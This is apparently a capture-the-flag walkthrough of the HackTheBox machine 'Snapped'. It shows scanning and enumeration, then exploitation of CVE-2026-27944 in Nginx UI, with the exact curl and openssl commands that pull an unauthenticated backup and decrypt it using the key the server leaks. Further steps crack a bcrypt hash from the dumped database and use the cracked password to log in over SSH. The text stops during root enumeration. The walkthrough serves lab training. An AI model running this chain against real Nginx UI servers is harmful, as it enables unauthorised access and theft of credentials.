Snapped

Snapped is a Linux box hosting a static site behind nginx, with an Nginx UI admin panel. I’ll exploit CVE-2026-27944 to decrypt a backup download from the Nginx UI to find bcrypt password hashes in a SQLite database. I’ll crack one to get SSH access. To escalate to root, I’ll exploit CVE-2026-3888, a recent vulnerability in snapd where systemd-tmpfiles deletes snap-confine’s private temp directory, allowing me to win a race condition and replace the dynamic linker with a malicious payload that runs as root.

Box Info

Hard
Release Date 23 Mar 2026
Retire Date 23 Mar 2026
OS Linux Linux
Non-competitive release: no bloods

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.17.88
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-29 19:18 UTC
...[snip]...
Nmap scan report for 10.129.17.88
Host is up, received reset ttl 63 (0.024s latency).
Scanned at 2026-03-29 19:18:57 UTC for 7s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.02 seconds
           Raw packets sent: 69155 (3.043MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ sudo nmap -p 22,80 -sCV 10.129.17.88
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-29 19:23 UTC
Nmap scan report for 10.129.17.88
Host is up (0.022s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4b:c1:eb:48:87:4a:08:54:89:70:93:b7:c7:a9:ea:79 (ECDSA)
|_  256 46:da:a5:65:91:c9:08:99:b2:96:1d:46:0b:fc:df:63 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://snapped.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds

Based on the OpenSSH and nginx versions, the host is likely running Ubuntu 24.04 noble LTS.

Both of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

Subdomain Brute Force

There’s a redirect to snapped.htb on port 80. I’ll use ffuf to bruteforce for subdomains that respond differently:

oxdf@hacky$ ffuf -u http://10.129.17.88 -H 'Host: FUZZ.snapped.htb' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.17.88
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.snapped.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

admin                   [Status: 200, Size: 1407, Words: 164, Lines: 50, Duration: 31ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1785 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

I’ll update my hosts file:

10.129.17.88 snapped.htb admin.snapped.htb

I’ll rescan port 80 with the hostname, but not find anything interesting.

snapped.htb - TCP 80

Site

The site is for an infrastructure orchestration platform:

image-20260329154203557 expand

All of the links lead to anchor points on the page. There is an email address, contact@snapped.htb.

Tech Stack

The HTTP response headers show it’s nginx but not much else:

HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 29 Mar 2026 19:41:19 GMT
Content-Type: text/html
Last-Modified: Thu, 19 Mar 2026 15:11:44 GMT
Connection: keep-alive
ETag: W/"69bc1230-4ee7"
Content-Length: 20199

The main page loads as index.html, suggesting a static site.

The 404 page is the default nginx 404:

image-20260329155527479

Directory Brute Force

I’ll run feroxbuster against the site, and include -x html as the main page is .html:

oxdf@hacky$ feroxbuster -u http://snapped.htb -x html

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://snapped.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      553l     1927w    17808c http://snapped.htb/style.css
200      GET      539l     1856w    20199c http://snapped.htb/
200      GET      539l     1856w    20199c http://snapped.htb/index.html
[####################] - 29s    30001/30001   0s      found:3       errors:2      
[####################] - 28s    30000/30000   1067/s  http://snapped.htb/  

Nothing interesting.

admin.snapped.htb - TCP 80

Site

The admin page loads an instance of Nginx UI:

image-20260329160321642

Not much I can do legitimately without creds.

Tech Stack

The HTTP response headers show just Nginx 1.24.0:

HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 29 Mar 2026 20:02:37 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Request-Id: 6a5e2699-e68c-4fe8-8650-486a166a9274
Content-Length: 1407

The site is Nginx UI. The GitHub page shows it’s written in Go on the backend and JavaScript / TypeScript / Vue on the frontend.

The copyright shows 2021-2026, which implies it’s at least up to date within 2 months of release.

The 404 page is just a JSON blob:

oxdf@hacky$ curl -v http://admin.snapped.htb/asdf
* Host admin.snapped.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.17.88
*   Trying 10.129.17.88:80...
* Connected to admin.snapped.htb (10.129.17.88) port 80
> GET /asdf HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 404 Not Found
< Server: nginx/1.24.0 (Ubuntu)
< Date: Sun, 29 Mar 2026 20:44:00 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 23
< Connection: keep-alive
< Request-Id: d646226b-4fa8-4b66-9e0d-0e5022e0841b
< 
* Connection #0 to host admin.snapped.htb left intact
{"message":"not found"}

On just loading the main page, Burp shows several calls to /api paths:

image-20260329165040415

To find the version of Nginx UI running, I’ll look for the JavaScript loaded in the main page:

oxdf@hacky$ curl http://admin.snapped.htb/ -s | grep -P '.js\b'
  <script type="module" crossorigin src="./assets/index-DoHxQupa.js"></script>

Inside that file are two references to JavaScript files starting with “version”:

oxdf@hacky$ curl http://admin.snapped.htb/assets/index-DoHxQupa.js -s | grep -oP 'version[-\w]*\.js'
version-BWPlJ0ga.js
version-CdjIlmL0.js

The first one has the version:

oxdf@hacky$ curl http://admin.snapped.htb/assets/version-BWPlJ0ga.js
const t="2.3.2";const o={version:t,build_id:1,total_build:512};export{o as a,t as v};
oxdf@hacky$ curl http://admin.snapped.htb/assets/version-CdjIlmL0.js
import{$ as e}from"./index-DoHxQupa.js";const a={53001:()=>e("Invalid commit SHA"),53002:()=>e("Release API request failed: {0}")};export{a as default};

It’s version 2.3.2.

Directory Brute Force

oxdf@hacky$ feroxbuster -u http://admin.snapped.htb/

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://admin.snapped.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w       23c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        6l       17w     1344c http://admin.snapped.htb/favicon-32x32.png
200      GET       30l      282w    11373c http://admin.snapped.htb/pwa-192x192.png
200      GET       63l      116w     1316c http://admin.snapped.htb/manifest.json
200      GET        9l       12w      243c http://admin.snapped.htb/browserconfig.xml
301      GET        0l        0w        0c http://admin.snapped.htb/assets => assets/
404      GET      212l      423w    12987c http://admin.snapped.htb/assets/
200      GET      106l      588w    50147c http://admin.snapped.htb/pwa-512x512.png
200      GET       64l      142w    75487c http://admin.snapped.htb/favicon.ico
200      GET        1l     8254w   308866c http://admin.snapped.htb/assets/index-Cjd4fVAL.css
403      GET        1l        2w       34c http://admin.snapped.htb/mcp
200      GET      624l    38187w  2050223c http://admin.snapped.htb/assets/index-DoHxQupa.js
200      GET       50l      104w     1407c http://admin.snapped.htb/
[####################] - 27s    60012/60012   0s      found:12      errors:0      
[####################] - 26s    30000/30000   1135/s  http://admin.snapped.htb/ 
[####################] - 26s    30000/30000   1137/s  http://admin.snapped.htb/assets/  

I know there’s a /api path based on the requests made from the page. I’ll fuzz that as well:

oxdf@hacky$ feroxbuster -u http://admin.snapped.htb/api

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://admin.snapped.htb/api
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w       23c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        1l        2w       34c http://admin.snapped.htb/api/user
403      GET        1l        2w       34c http://admin.snapped.htb/api/sites
200      GET        1l        1w       29c http://admin.snapped.htb/api/install
403      GET        1l        2w       34c http://admin.snapped.htb/api/node
403      GET        1l        2w       34c http://admin.snapped.htb/api/config
403      GET        1l        2w       34c http://admin.snapped.htb/api/users
200      GET       71l      452w    32934c http://admin.snapped.htb/api/backup
403      GET        1l        2w       34c http://admin.snapped.htb/api/events
403      GET        1l        2w       34c http://admin.snapped.htb/api/settings
403      GET        1l        2w       34c http://admin.snapped.htb/api/configs
403      GET        1l        2w       34c http://admin.snapped.htb/api/certs
403      GET        1l        2w       34c http://admin.snapped.htb/api/notifications
403      GET        1l        2w       34c http://admin.snapped.htb/api/streams
200      GET        1l        9w    52782c http://admin.snapped.htb/api/licenses
403      GET        1l        2w       34c http://admin.snapped.htb/api/analytic
403      GET        1l        2w       34c http://admin.snapped.htb/api/nodes
[####################] - 17s    30002/30002   0s      found:16      errors:0      
[####################] - 16s    30000/30000   1876/s  http://admin.snapped.htb/api/

Most of the endpoints return 403 Forbidden, but there are three that return 200 (install, backup, and licenses).

/api/install seems locked (presumably preventing it from being run again without auth):

oxdf@hacky$ curl http://admin.snapped.htb/api/install
{"lock":true,"timeout":false}

/api/licenses is a very long JSON blob with each dependency and its license:

oxdf@hacky$ curl http://admin.snapped.htb/api/licenses -s | jq . | head -20
{
  "backend": [
    {
      "name": "Go Programming Language",
      "license": "BSD-3-Clause",
      "url": "https://golang.org",
      "version": "go1.25.5"
    },
    {
      "name": "gorm.io/gorm",
      "license": "Unknown",
      "url": "https://gorm.io/gorm",
      "version": "v1.31.1"
    },
    {
      "name": "cloud.google.com/go/auth/oauth2adapt",
      "license": "Apache-2.0",
      "url": "https://cloud.google.com/go/auth/oauth2adapt",
      "version": "v0.2.8"
    },

Backup

/api/backup returns a binary file:

oxdf@hacky$ curl http://admin.snapped.htb/api/backup
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

Downloading it shows it’s a zip archive:

oxdf@hacky$ wget http://admin.snapped.htb/api/backup
--2026-03-29 22:20:09--  http://admin.snapped.htb/api/backup
Resolving admin.snapped.htb (admin.snapped.htb)... 10.129.17.88
Connecting to admin.snapped.htb (admin.snapped.htb)|10.129.17.88|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18306 (18K) [application/zip]
Saving to: ‘backup’

backup                            100%[============================================================>]  17.88K  --.-KB/s    in 0.02s   

2026-03-29 22:20:09 (829 KB/s) - ‘backup’ saved [18306/18306]

oxdf@hacky$ file backup 
backup: Zip archive data, at least v2.0 to extract, compression method=deflate

The zip has three files:

oxdf@hacky$ unzip -l backup
Archive:  backup
  Length      Date    Time    Name
---------  ---------- -----   ----
      208  2026-03-29 22:20   hash_info.txt
     7696  2026-03-29 22:20   nginx-ui.zip
     9952  2026-03-29 22:20   nginx.zip
---------                     -------
    17856                     3 files

I’ll unzip these files:

oxdf@hacky$ mv backup backup.zip
oxdf@hacky$ mkdir backup
oxdf@hacky$ unzip backup.zip -d backup
Archive:  backup.zip
  inflating: backup/hash_info.txt    
  inflating: backup/nginx-ui.zip     
  inflating: backup/nginx.zip  

Despite the file extensions, all three register as data:

oxdf@hacky$ file *
hash_info.txt: data
nginx-ui.zip:  data
nginx.zip:     data

If these were well structured zip archives, file would show that. It turns out that these files are encrypted (so file identifies the random noise as unknown “data”).

Shell as jonathan

CVE-2026-27944

Identify

Searching for CVEs in Nginx UI returns a couple different CVEs:

image-20260329180336261

Given that this machine was released out of cycle, it’s almost certainly the 2026 CVE. Already knowing the version is 2.3.2 quickly rules out CVE-2024-22198, which was patched in 2.0.0.

Background

NIST describes CVE-2026-27944 as:

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.3, the /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. This issue has been patched in version 2.3.3.

I noted above the /api/backup endpoint and that it is accessible without auth, and that the downloaded files are encrypted. This says that the keys needed to decrypt the file are passed in the X-Backup-Security response header.

A blog post from CVEReports, CVE-2026-27944: Unauthenticated Backup Download and Encryption Key Disclosure in Nginx UI, walks through the details as well as how to exploit it.

Recover Key Material

The key and IV are passed in the X-Backup-Security response header. I’ll use curl to see these:

oxdf@hacky$ curl http://admin.snapped.htb/api/backup -v
* Host admin.snapped.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.17.88
*   Trying 10.129.17.88:80...
* Connected to admin.snapped.htb (10.129.17.88) port 80
> GET /api/backup HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Sun, 29 Mar 2026 22:27:06 GMT
< Content-Type: application/zip
< Content-Length: 18306
< Connection: keep-alive
< Accept-Ranges: bytes
< Cache-Control: must-revalidate
< Content-Description: File Transfer
< Content-Disposition: attachment; filename=backup-20260329-182706.zip
< Content-Transfer-Encoding: binary
< Expires: 0
< Last-Modified: Sun, 29 Mar 2026 22:27:06 GMT
< Pragma: public
< Request-Id: e8ad79ec-1806-4460-8bcd-b5f034f519a9
< X-Backup-Security: 51w63Jx8Jn1lUqXe1LYTaJ4nGeBMqq+rANajEGZ8REs=:ZWKLRZftqWgx1xaPCrlz/g==
< 
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.
* Failure writing output to destination
* Closing connection

The header has two base64-encoded strings, joined by a “:”. It changes on every request.

Decrypt Backups

I’ll delete previous downloaded backups and save a fresh one (using -o), this time also seeing the response headers:

oxdf@hacky$ curl http://admin.snapped.htb/api/backup -v -o backup.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
* Host admin.snapped.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.17.88
*   Trying 10.129.17.88:80...
* Connected to admin.snapped.htb (10.129.17.88) port 80
> GET /api/backup HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Sun, 29 Mar 2026 22:36:39 GMT
< Content-Type: application/zip
< Content-Length: 18306
< Connection: keep-alive
< Accept-Ranges: bytes
< Cache-Control: must-revalidate
< Content-Description: File Transfer
< Content-Disposition: attachment; filename=backup-20260329-183639.zip
< Content-Transfer-Encoding: binary
< Expires: 0
< Last-Modified: Sun, 29 Mar 2026 22:36:39 GMT
< Pragma: public
< Request-Id: 85bd6907-fb2b-4453-b974-a3df2d860608
< X-Backup-Security: v6MVybpaJJ6L4DE4uQljSAd5JIVgdoyI1Cj7RTyyeV8=:xGJoMQ5IYESLQdSoYcwt3A==
< 
{ [3476 bytes data]
100 18306  100 18306    0     0   216k      0 --:--:-- --:--:-- --:--:--  215k
* Connection #0 to host admin.snapped.htb left intact
oxdf@hacky$ file backup.zip 
backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

The first blob from the header decodes to exactly 32 random-looking bytes:

oxdf@hacky$ echo v6MVybpaJJ6L4DE4uQljSAd5JIVgdoyI1Cj7RTyyeV8= | base64 -d | xxd 
00000000: bfa3 15c9 ba5a 249e 8be0 3138 b909 6348  .....Z$...18..cH
00000010: 0779 2485 6076 8c88 d428 fb45 3cb2 795f  .y$.`v...(.E<.y_

This is the key, and I’ll get a raw hex copy of it using -p to show the raw output and -c 0 to put it all on one line:

oxdf@hacky$ echo v6MVybpaJJ6L4DE4uQljSAd5JIVgdoyI1Cj7RTyyeV8= | base64 -d | xxd -p -c 0
bfa315c9ba5a249e8be03138b90963480779248560768c88d428fb453cb2795f

The IV is exactly 16 bytes:

oxdf@hacky$ echo xGJoMQ5IYESLQdSoYcwt3A== | base64 -d | xxd 
00000000: c462 6831 0e48 6044 8b41 d4a8 61cc 2ddc  .bh1.H`D.A..a.-.
oxdf@hacky$ echo xGJoMQ5IYESLQdSoYcwt3A== | base64 -d | xxd -p -c 0
c46268310e4860448b41d4a861cc2ddc

I’ll extract the archive into a directory:

oxdf@hacky$ unzip backup.zip -d backup
Archive:  backup.zip
  inflating: backup/hash_info.txt    
  inflating: backup/nginx-ui.zip     
  inflating: backup/nginx.zip

The CVEReports post shows using Python to decrypt. I’ll use openssl:

oxdf@hacky$ openssl enc -aes-256-cbc -d -in hash_info.txt -out hash_info_dec.txt -K bfa315c9ba5a249e8be03138b90963480779248560768c88d428fb453cb2795f -iv c46268310e4860448b41d4a861cc2ddc
oxdf@hacky$ cat hash_info_dec.txt 
nginx-ui_hash: 7541765e19689be9ab20b6c3d0b3190287a6ec2c1332f463641b6c4bdca1040e
nginx_hash: 71bc59f8eaf4a28ebd166fefdc28774340a6714db577ec633cd37ccb56e9b09d
timestamp: 20260329-183639
version: 2.3.2

It worked! The result is a plaintext file.

I’ll decrypt the other two:

oxdf@hacky$ openssl enc -aes-256-cbc -d -in nginx.zip -out nginx_dec.zip -K bfa315c9ba5a249e8be03138b90963480779248560768c88d428fb453cb2795f -iv c46268310e4860448b41d4a861cc2ddc  
oxdf@hacky$ openssl enc -aes-256-cbc -d -in nginx-ui.zip -out nginx-ui_dec.zip -K bfa315c9ba5a249e8be03138b90963480779248560768c88d428fb453cb2795f -iv c46268310e4860448b41d4a861cc2ddc
oxdf@hacky$ file *_dec*
hash_info_dec.txt: ASCII text
nginx_dec.zip:     Zip archive data, at least v2.0 to extract, compression method=store
nginx-ui_dec.zip:  Zip archive data, at least v2.0 to extract, compression method=deflate

The hashes match the values given in hash_info.txt:

oxdf@hacky$ sha256sum nginx*_dec.zip 
71bc59f8eaf4a28ebd166fefdc28774340a6714db577ec633cd37ccb56e9b09d  nginx_dec.zip
7541765e19689be9ab20b6c3d0b3190287a6ec2c1332f463641b6c4bdca1040e  nginx-ui_dec.zip

Backups

nginx

I’ll decompress the Nginx backup:

oxdf@hacky$ unzip nginx_dec.zip -d nginx
Archive:  nginx_dec.zip
   creating: nginx/conf.d/
  inflating: nginx/fastcgi.conf      
  inflating: nginx/fastcgi_params    
  inflating: nginx/koi-utf           
  inflating: nginx/koi-win           
  inflating: nginx/mime.types        
   creating: nginx/modules-available/
   creating: nginx/modules-enabled/
  inflating: nginx/nginx.conf        
  inflating: nginx/proxy_params      
  inflating: nginx/scgi_params       
   creating: nginx/sites-available/
  inflating: nginx/sites-available/nginx-ui  
  inflating: nginx/sites-available/snapped  
   creating: nginx/sites-enabled/
  inflating: nginx/sites-enabled/nginx-ui  -> /etc/nginx/sites-available/nginx-ui 
  inflating: nginx/sites-enabled/snapped  -> /etc/nginx/sites-available/snapped 
   creating: nginx/snippets/
  inflating: nginx/snippets/fastcgi-php.conf  
  inflating: nginx/snippets/snakeoil.conf  
  inflating: nginx/uwsgi_params      
  inflating: nginx/win-utf           
finishing deferred symbolic links:
  nginx/sites-enabled/nginx-ui -> /etc/nginx/sites-available/nginx-ui
  nginx/sites-enabled/snapped -> /etc/nginx/sites-available/snapped

In sites-enabled I’ll see two:

oxdf@hacky$ ls -l sites-enabled/
total 0
lrwxrwxrwx 1 oxdf oxdf 35 Mar 29 22:55 nginx-ui -> /etc/nginx/sites-available/nginx-ui
lrwxrwxrwx 1 oxdf oxdf 34 Mar 29 22:55 snapped -> /etc/nginx/sites-available/snapped

The symlinks don’t work here, but I’ll find the files in sites-available. snapped is for the main site:

server {
    listen 80 default_server;
    server_name snapped.htb;

    root /var/www/html/snapped;
    index index.html;

    if ($host != snapped.htb) {
        rewrite ^ http://snapped.htb/;

    }
    location / {
        try_files $uri $uri/ =404;
    }
}

It has a rewrite rule for any host that isn’t snapped.htb. The web root is /var/www/html/snapped.

nginx-ui does a proxy to TCP 9000:

server {
    listen 80;
    server_name admin.snapped.htb;

    location / {
        proxy_pass http://127.0.0.1:9000;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
    }
}

There’s nothing else really interesting in this backup.

nginx-ui

This backup only has two files:

oxdf@hacky$ unzip nginx-ui_dec.zip -d nginx-ui
Archive:  nginx-ui_dec.zip
  inflating: nginx-ui/app.ini        
  inflating: nginx-ui/database.db

app.ini has 122 lines of config, but nothing super interesting. The admin’s email is admin@test.htb.

database.db is a SQLite database:

oxdf@hacky$ file database.db 
database.db: SQLite 3.x database, last written using SQLite version 3050004, file counter 79, database pages 64, cookie 0x39, schema 4, UTF-8, version-valid-for 79

There’s a bunch of tables:

oxdf@hacky$ sqlite3 database.db
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
acme_users         configs            namespaces         sites            
auth_tokens        dns_credentials    nginx_log_indices  streams          
auto_backups       dns_domains        nodes              upstream_configs 
ban_ips            external_notifies  notifications      users            
certs              llm_sessions       passkeys         
config_backups     migrations         site_configs

The most interesting data is in the users table:

sqlite> .headers on
sqlite> select * from users;
id|created_at|updated_at|deleted_at|name|password|status|otp_secret|recovery_codes|language
1|2026-03-19 08:22:54.41011219-04:00|2026-03-19 08:39:11.562741743-04:00||admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm|1||g

|7ĝ*:(\DO}u#,|en
2|2026-03-19 09:54:01.989628406-04:00|2026-03-19 09:54:01.989628406-04:00||jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq|1||,զH։e)5UZKĦ"DW|en

There are two users, admin and jonathan.

Shell

Crack Password

I’ll save the two hashes to a file. They are bcrypt, which are very slow to crack, but I’ll give it a try. hashcat is not able to determine the hash format:

$ hashcat hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
The following 6 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
  25600 | bcrypt(md5($pass))                                         | Generic KDF
  25800 | bcrypt(sha1($pass))                                        | Generic KDF
  30600 | bcrypt(sha256($pass))                                      | Generic KDF
  28400 | bcrypt(sha512($pass))                                      | Generic KDF
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  33800 | WBB4 (Woltlab Burning Board) [bcrypt(bcrypt($pass))]       | Forums, CMS, E-Commerce
...[snip]...

3200 is straight bcrypt, so I’ll start there:

$ hashcat hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt -m 3200
hashcat (v7.1.2) starting
...[snip]...
$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq:linkinpark
...[snip]...

The hash for jonathan cracks very quickly. The other doesn’t crack in 5 minutes or so and I’ll kill hashcat.

SSH

Before I start spraying the password across different names, or confirming the creds work for the website (they do), I’ll see if it works for jonathan over SSH, and it does:

oxdf@hacky$ netexec ssh snapped.htb -u jonathan -p linkinpark
SSH         10.129.17.88    22     snapped.htb      [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.15
SSH         10.129.17.88    22     snapped.htb      [+] jonathan:linkinpark  Linux - Shell access!

I’ll connect:

oxdf@hacky$ sshpass -p linkinpark ssh jonathan@snapped.htb
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-19-generic x86_64)
...[snip]...
jonathan@snapped:~$ 

And grab user.txt:

jonathan@snapped:~$ cat user.txt
090aa3c5************************

Shell as root

Enumeration

Users

The jonathan user’s home directory looks like a Desktop install of Ubuntu:

jonathan@snapped:~$ ls -la
total 76
drwxr-x--- 15 jonathan jonathan 4096 Mar 20 12:28 .
drwxr-xr-x  3 root     root     4096 Mar 20 11:38 ..
-rw-r--r--  1 root     jonathan    0 Mar 20 12:28 .bash_history
-rw-r--r--  1 jonathan jonathan  220 Mar 31  2024 .bash_logout
-rw-r--r--  1 jonathan jonathan 3771 Mar 31  2024 .bashrc
drwx------  9 jonathan jonathan 4096 Mar 20 11:38 .cache
drwx------ 12 jonathan jonathan 4096 Mar 20 11:38 .config
drwxr-xr-x  2 jonathan jonathan 4096 Mar 20 11:38 Desktop
drwxr-xr-x  2 jonathan jonathan 4096 Mar 20 11:38 Documents
drwxr-xr-x  2 jonathan jonathan 4096 Mar 20 11:38 Downloads
drwx------  4 jonathan jonathan 4096 Mar 20 11:38 .local
drwxr-xr-x  2 jonathan jonathan 4096 Mar 20 11:38 Music
drwxr-xr-x  2 jonathan jonathan 4096 Mar 20 11:38 Pictures
-rw-r--r--  1 jonathan jonathan  807 Mar 31  2024 .profile
drwxr-xr-x  2 jonathan jonathan 4096 Mar 20 11:38 Public
drwx------  4 jonathan jonathan 4096 Mar 29 21:00 snap
drwx------  2 jonathan jonathan 4096 Mar 20 11:38 .ssh
drwxr-xr-x  2 jonathan jonathan 4096 Mar 20 11:38 Templates
-rw-r-----  1 root     jonathan   33 Mar 29 15:06 user.txt
drwxr-xr-x  2 jonathan jonathan 4096 Mar 20 11:38 Videos

There’s not much interesting here. The jonathan user can’t run sudo on Snapped, and they don’t have any unusual groups:

jonathan@snapped:~$ sudo -l
[sudo] password for jonathan: 
Sorry, user jonathan may not run sudo on snapped.
jonathan@snapped:~$ id
uid=1000(jonathan) gid=1000(jonathan) groups=1000(jonathan)

There are no other users with home directories in /home or non-root users with shells configured in passwd:

jonathan@snapped:/home$ ls
jonathan
jonathan@snapped:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
jonathan:x:1000:1000:user:/home/jonathan:/bin/bash

Filesystem

The filesystem root looks standard:

jonathan@snapped:/$ ls -l
total 88
lrwxrwxrwx   1 root root     7 Apr 22  2024 bin -> usr/bin
drwxr-xr-x   2 root root  4096 Mar 20 11:38 bin.usr-is-merged
drwxr-xr-x   5 root root  4096 Mar 20 11:11 boot
dr-xr-xr-x   2 root root  4096 Mar 20 11:38 cdrom
drwxr-xr-x  19 root root  4020 Mar 29 15:07 dev
drwxr-xr-x 141 root root 12288 Mar 20 12:05 etc
drwxr-xr-x   3 root root  4096 Mar 20 11:38 home
lrwxrwxrwx   1 root root     7 Apr 22  2024 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Apr 22  2024 lib64 -> usr/lib64
drwxr-xr-x   2 root root  4096 Apr  8  2024 lib.usr-is-merged
